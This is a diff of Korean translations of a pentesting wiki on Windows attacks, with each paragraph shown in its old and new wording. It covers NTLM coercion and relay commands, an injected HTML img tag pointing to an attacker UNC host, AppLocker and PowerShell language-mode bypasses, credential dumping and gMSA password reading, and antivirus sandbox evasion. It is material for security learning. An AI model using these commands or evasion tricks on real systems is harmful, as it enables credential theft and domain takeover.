기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 누적 업데이트 이전 도메인에 대한 WriteDacl 권한이 있습니다**). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록 악용될 수 있습니다**. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 이전 누적 업데이트의 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록 악용될 수 있습니다**. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
## Windows 내부
Windows 머신 내부에 이미 있는 경우, 다음을 사용하여 권한이 있는 계정으로 서버에 연결하도록 Windows를 강제할 수 있습니다:
Windows 머신 내부에 이미 있는 경우, 다음을 사용하여 권한이 있는 계정으로 Windows가 서버에 연결하도록 강제할 수 있습니다:
### Defender MpCmdRun
```bash
@ -76,7 +78,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
또는 이 다른 기술을 사용할 수 있습니다: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
다른 기술을 사용하거나: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
@ -96,7 +98,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### MitM
컴퓨터에 MitM 공격을 수행하고 그가 볼 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다:
컴퓨터에 MitM 공격을 수행하고 그가 볼 수 있는 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```

View File

@ -11,7 +11,7 @@
### Check
블랙리스트/화이트리스트에 있는 파일/확장자를 확인하세요:
어떤 파일/확장자가 블랙리스트/화이트리스트에 있는지 확인하십시오:
```powershell
Get-ApplockerPolicy -Effective -xml
@ -35,10 +35,10 @@ C:\windows\tracing
```
- 일반적으로 **신뢰할 수 있는** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker를 우회하는 데 유용할 수 있습니다.
- **잘못 작성된 규칙은 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일을 차단하는 데 집중하지만**, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **DLL를 백도어로 사용하면 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)를 사용하여 **Powershell** 코드를 모든 프로세스에서 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`**라는 **폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 실행 파일을 **차단하는 데** 집중하지만, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **백도어로서 DLL을 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 **Powershell** 코드를 어떤 프로세스에서든 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## 자격 증명 저장소
@ -69,7 +69,7 @@ Active Directory의 데이터베이스입니다. 도메인 컨트롤러에만
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인 펜테스팅 도구**인 **`WinPEAS`**를 **차단합니다**. 그러나 이러한 보호를 **우회하는 방법이 있습니다**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인** 펜테스팅 도구인 **`WinPEAS`**를 **차단합니다**. 그러나 이러한 보호를 **우회하는 방법이 있습니다.**
### 확인
@ -121,9 +121,9 @@ EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일
### EFS 정보 확인
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하십시오: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하십시오.
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하세요.
폴더 내에서 `cipher /e``cipher /d`를 사용하여 모든 파일을 **암호화**하고 **복호화**할 수도 있습니다.
### EFS 파일 복호화
@ -134,19 +134,21 @@ EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일
#### 사용자의 비밀번호 알기
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
Microsoft는 IT 인프라에서 서비스 계정 관리를 단순화하기 위해 **그룹 관리 서비스 계정 (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
Microsoft는 IT 인프라에서 서비스 계정 관리를 단순화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)가 처리하여 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인에 사용할 수 없어 보안이 강화됩니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안을 강화합니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유할 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: 관리 서비스 계정과 달리 gMSA는 예약 작업 실행을 지원합니다.
- **단순화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 서비스 주체 이름(SPN)을 자동으로 업데이트하여 SPN 관리를 단순화합니다.
- **단순화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 자동으로 서비스 주체 이름(SPN)을 업데이트하여 SPN 관리를 단순화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭으로, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -156,7 +158,7 @@ gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며
```
[**이 게시물에서 더 많은 정보를 찾으세요**](https://cube0x0.github.io/Relaying-for-gMSA/)
또한, **gMSA**의 **비밀번호**를 **읽기**해 **NTLM 릴레이 공격**을 수행하는 방법에 대한 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)를 확인하세요.
또한, **gMSA**의 **비밀번호**를 **읽기****NTLM 릴레이 공격** 수행 방법에 대한 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)를 확인하세요.
## LAPS
@ -180,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
현재 Windows에서는 이 우회 방법이 작동하지 않지만, [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)를 사용할 수 있습니다.\
**컴파일하려면** **다음이 필요할 수 있습니다** **:** _**참조 추가**_ -> _찾아보기_ -> _찾아보기_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 추가하고 **프로젝트를 .Net4.5로 변경하십시오**.
현재 Windows에서는 이 우회 방법이 작동하지 않지만 [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)를 사용할 수 있습니다.\
**컴파일하려면** **다음이 필요할 수 있습니다** **_참조 추가_** -> _찾아보기_ -> _찾아보기_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 추가하고 **프로젝트를 .Net4.5로 변경하십시오**.
#### 직접 우회:
```bash
@ -221,7 +223,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
사용자를 인증하는 데 사용할 수 있는 API입니다.
SSPI는 통신을 원하는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상하며, 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하 두 머신 모두 동일한 프로토콜을 지원해야 통신할 수 있습니다.
SSPI는 통신을 원하는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상합니다. 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하 두 머신 모두 동일한 프로토콜을 지원해야 통신할 수 있습니다.
### 주요 SSP

View File

@ -6,12 +6,12 @@
애플리케이션 화이트리스트는 시스템에 존재하고 실행될 수 있는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 환경을 유해한 맬웨어와 특정 조직의 비즈니스 요구에 맞지 않는 승인되지 않은 소프트웨어로부터 보호하는 것입니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세부적인 제어**를 제공합니다.\
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세부적인 제어**를 제공합니다.\
조직에서는 **cmd.exe와 PowerShell.exe** 및 특정 디렉터리에 대한 쓰기 접근을 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
### Check
블랙리스트/화이트리스트에 있는 파일/확장자를 확인하세요:
차단된/허용된 파일/확장자를 확인하십시오:
```powershell
Get-ApplockerPolicy -Effective -xml
@ -37,8 +37,8 @@ C:\windows\tracing
- **잘못 작성된 규칙은 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일을 차단하는 데 집중하지만**, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **DLL를 백도어로 사용하 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)를 사용하여 **Powershell** 코드를 모든 프로세스에서 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **DLL를 백도어로 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)를 사용하여 **Powershell** 코드를 모든 프로세스에서 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## 자격 증명 저장소
@ -48,11 +48,11 @@ C:\windows\tracing
### 로컬 보안 권한 (LSA) - LSASS
**자격 증명**(해시 처리됨)은 **단일 로그인** 이유로 이 하위 시스템의 **메모리**에 **저장됩니다**.\
**자격 증명**(해시 처리됨)은 **단일 로그인** 이유로 이 하위 시스템의 **메모리**에 **저장**됩니다.\
**LSA**는 로컬 **보안 정책**(비밀번호 정책, 사용자 권한 등), **인증**, **액세스 토큰** 등을 관리합니다.\
LSA는 **SAM** 파일 내에서 제공된 자격 증명을 **확인**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**합니다.
**자격 증명**은 **프로세스 LSASS** 내에 **저장됩니다**: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화된 비밀번호.
**자격 증명**은 **프로세스 LSASS** 내에 **저장**됩니다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화된 비밀번호.
### LSA 비밀
@ -73,7 +73,7 @@ Active Directory의 데이터베이스입니다. 도메인 컨트롤러에만
### 확인
**Defender**의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있습니다(활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인하세요):
**Defender**의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있습니다 (활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인하세요):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,7 +103,7 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때, 사용자의 디지털 인증서에 해당하는 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때, 사용자의 디지털 인증서의 해당 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
**사용자 개입 없이 복호화되는 시나리오**는 다음과 같습니다:
@ -121,31 +121,33 @@ EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일
### EFS 정보 확인
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하십시오: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하십시오. 또한 폴더 내에서 `cipher /e``cipher /d`를 사용하여 모든 파일을 **암호화**하고 **복호화**할 수 있습니다.
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하세요. 또한 폴더 내에서 `cipher /e``cipher /d`를 사용하여 모든 파일을 **암호화**하고 **복호화**할 수 있습니다.
### EFS 파일 복호화
#### 권한 시스템이 되기
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행**하고 있어야 합니다. 그런 경우, `meterpreter` 세션을 사용하여 사용자의 프로세스 토큰을 가장할 수 있습니다 (`incognito``impersonate_token`). 또는 사용자의 프로세스로 `migrate`할 수 있습니다.
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행**하고 있어야 합니다. 그런 경우, `meterpreter` 세션을 사용하여 사용자의 프로세스 토큰을 가장할 수 있습니다 (`incognito``impersonate_token`). 또는 사용자의 프로세스로 `migrate`할 수 있습니다.
#### 사용자의 비밀번호 알기
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 안전하고 관리하기 쉬운 솔루션을 제공합니다:
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)가 처리하여 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안이 강화됩니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유할 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: 관리 서비스 계정과 달리 gMSA는 예약 작업 실행을 지원합니다.
- **간소화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 자동으로 서비스 주체 이름(SPN)을 업데이트하여 SPN 관리를 간소화합니다.
- **간소화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 서비스 주체 이름(SPN)을 자동으로 업데이트하여 SPN 관리를 간소화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭으로, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -167,7 +169,7 @@ gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며
## PS 제약 언어 모드
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로우, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **잠급니다**.
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로우, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다.
### **확인**
```powershell
@ -232,7 +234,7 @@ SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL 및 TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됩니다(기본값은 Kerberos인 Kerberos 또는 NTLM)
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됩니다(기본값은 Kerberos인 Kerberos 또는 NTLM).
- %windir%\Windows\System32\lsasrv.dll
#### 협상은 여러 방법을 제공할 수 있거나 하나만 제공할 수 있습니다.

View File

@ -10,7 +10,7 @@
### **정적 탐지**
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 몇 가지 방법이 있습니다:
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고 파일 자체에서 정보를 추출함으로써 이루어집니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다:
- **암호화**
@ -25,7 +25,7 @@
자신만의 도구를 개발하면 알려진 악성 서명이 없지만, 이는 많은 시간과 노력이 필요합니다.
> [!NOTE]
> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트가 무엇인지 정확히 알 수 있습니다.
> Windows Defender의 정적 탐지를 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트 정확히 알 수 있습니다.
실용적인 AV 회피에 대한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다.
@ -34,7 +34,7 @@
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법이 있습니다.
- **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다.
- **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 있습니다. 여기서 매우 창의적으로 접근할 있습니다. 예를 들어 CPU의 온도나 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
- **컴퓨터 자원 확인** 일반적으로 샌드박스는 사용할 수 있는 자원이 매우 적습니다(예: < 2GB RAM). 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 있습니다. 여기서 매우 창의적으로 접근할 있습니다. 예를 들어 CPU의 온도나 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료할 수 있습니다.
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
@ -49,16 +49,16 @@ Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요?
